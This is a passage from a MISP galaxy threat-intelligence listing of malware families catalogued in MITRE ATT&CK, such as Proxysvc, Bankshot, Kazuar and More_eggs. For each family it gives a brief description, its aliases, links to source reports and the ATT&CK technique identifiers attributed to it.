uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
Links |
Proxysvc - S0238
[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://attack.mitre.org/software/S0238) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)
The tag is: misp-galaxy:mitre-malware="Proxysvc - S0238"
Proxysvc - S0238 is also known as:
-
Proxysvc
Proxysvc - S0238 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
Links |
BrainTest - S0293
[BrainTest](https://attack.mitre.org/software/S0293) is a family of Android malware. (Citation: CheckPoint-BrainTest) (Citation: Lookout-BrainTest)
The tag is: misp-galaxy:mitre-malware="BrainTest - S0293"
BrainTest - S0293 is also known as:
-
BrainTest
BrainTest - S0293 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Manipulate App Store Rankings or Ratings - T1452" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.checkpoint.com/2015/09/21/braintest-a-new-level-of-sophistication-in-mobile-malware/ |
https://blog.lookout.com/blog/2016/01/06/brain-test-re-emerges/ |
Bankshot - S0239
[Bankshot](https://attack.mitre.org/software/S0239) is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, [Lazarus Group](https://attack.mitre.org/groups/G0032) used the [Bankshot](https://attack.mitre.org/software/S0239) implant in attacks against the Turkish financial sector. (Citation: McAfee Bankshot)
The tag is: misp-galaxy:mitre-malware="Bankshot - S0239"
Bankshot - S0239 is also known as:
-
Bankshot
-
Trojan Manuscript
Bankshot - S0239 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
Links |
Tangelo - S0329
[Tangelo](https://attack.mitre.org/software/S0329) is iOS malware that is believed to be from the same developers as the [Stealth Mango](https://attack.mitre.org/software/S0328) Android malware. It is not a mobile application, but rather a Debian package that can only run on jailbroken iOS devices. (Citation: Lookout-StealthMango)
The tag is: misp-galaxy:mitre-malware="Tangelo - S0329"
Tangelo - S0329 is also known as:
-
Tangelo
Tangelo - S0329 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
Links |
https://info.lookout.com/rs/051-ESQ-475/images/lookout-stealth-mango-srr-us.pdf |
Comnie - S0244
[Comnie](https://attack.mitre.org/software/S0244) is a remote backdoor which has been used in attacks in East Asia. (Citation: Palo Alto Comnie)
The tag is: misp-galaxy:mitre-malware="Comnie - S0244"
Comnie - S0244 is also known as:
-
Comnie
Comnie - S0244 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
Links |
BADCALL - S0245
[BADCALL](https://attack.mitre.org/software/S0245) is a Trojan malware variant used by the group [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT BADCALL)
The tag is: misp-galaxy:mitre-malware="BADCALL - S0245"
BADCALL - S0245 is also known as:
-
BADCALL
BADCALL - S0245 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF |
PLAINTEE - S0254
[PLAINTEE](https://attack.mitre.org/software/S0254) is a malware sample that has been used by [Rancor](https://attack.mitre.org/groups/G0075) in targeted attacks in Singapore and Cambodia. (Citation: Rancor Unit42 June 2018)
The tag is: misp-galaxy:mitre-malware="PLAINTEE - S0254"
PLAINTEE - S0254 is also known as:
-
PLAINTEE
PLAINTEE - S0254 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
HARDRAIN - S0246
[HARDRAIN](https://attack.mitre.org/software/S0246) is a Trojan malware variant reportedly used by the North Korean government. (Citation: US-CERT HARDRAIN March 2018)
The tag is: misp-galaxy:mitre-malware="HARDRAIN - S0246"
HARDRAIN - S0246 is also known as:
-
HARDRAIN
HARDRAIN - S0246 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf |
OopsIE - S0264
[OopsIE](https://attack.mitre.org/software/S0264) is a Trojan used by [OilRig](https://attack.mitre.org/groups/G0049) to remotely execute commands as well as upload/download files to/from victims. (Citation: Unit 42 OopsIE! Feb 2018)
The tag is: misp-galaxy:mitre-malware="OopsIE - S0264"
OopsIE - S0264 is also known as:
-
OopsIE
OopsIE - S0264 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
Links |
NavRAT - S0247
[NavRAT](https://attack.mitre.org/software/S0247) is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea. (Citation: Talos NavRAT May 2018)
The tag is: misp-galaxy:mitre-malware="NavRAT - S0247"
NavRAT - S0247 is also known as:
-
NavRAT
NavRAT - S0247 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
Links |
Calisto - S0274
[Calisto](https://attack.mitre.org/software/S0274) is a macOS Trojan that opens a backdoor on the compromised machine. [Calisto](https://attack.mitre.org/software/S0274) is believed to have first been developed in 2016. (Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)
The tag is: misp-galaxy:mitre-malware="Calisto - S0274"
Calisto - S0274 is also known as:
-
Calisto
Calisto - S0274 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Keychain - T1142" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Launchctl - T1152" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days |
More_eggs - S0284
[More_eggs](https://attack.mitre.org/software/S0284) is a JScript backdoor used by [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN6](https://attack.mitre.org/groups/G0037). Its name was given based on the variable "More_eggs" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4. (Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)
The tag is: misp-galaxy:mitre-malware="More_eggs - S0284"
More_eggs - S0284 is also known as:
-
More_eggs
-
Terra Loader
-
SpicyOmelette
More_eggs - S0284 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
yty - S0248
[yty](https://attack.mitre.org/software/S0248) is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. (Citation: ASERT Donot March 2018)
The tag is: misp-galaxy:mitre-malware="yty - S0248"
yty - S0248 is also known as:
-
yty
yty - S0248 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
Links |
ShiftyBug - S0294
[ShiftyBug](https://attack.mitre.org/software/S0294) is an auto-rooting adware family of malware for Android. The family is very similar to the other Android families known as Shedun, Shuanet, Kemoge, though it is not believed all the families were created by the same group. (Citation: Lookout-Adware)
The tag is: misp-galaxy:mitre-malware="ShiftyBug - S0294"
ShiftyBug - S0294 is also known as:
-
ShiftyBug
ShiftyBug - S0294 has relationships with:
-
similar: misp-galaxy:android="Kemoge" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
Links |
DDKONG - S0255
[DDKONG](https://attack.mitre.org/software/S0255) is a malware sample that was part of a campaign by [Rancor](https://attack.mitre.org/groups/G0075). [DDKONG](https://attack.mitre.org/software/S0255) was first seen used in February 2017. (Citation: Rancor Unit42 June 2018)
The tag is: misp-galaxy:mitre-malware="DDKONG - S0255"
DDKONG - S0255 is also known as:
-
DDKONG
DDKONG - S0255 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
Kazuar - S0265
[Kazuar](https://attack.mitre.org/software/S0265) is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework. (Citation: Unit 42 Kazuar May 2017)
The tag is: misp-galaxy:mitre-malware="Kazuar - S0265"
Kazuar - S0265 is also known as:
-
Kazuar
Kazuar - S0265 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
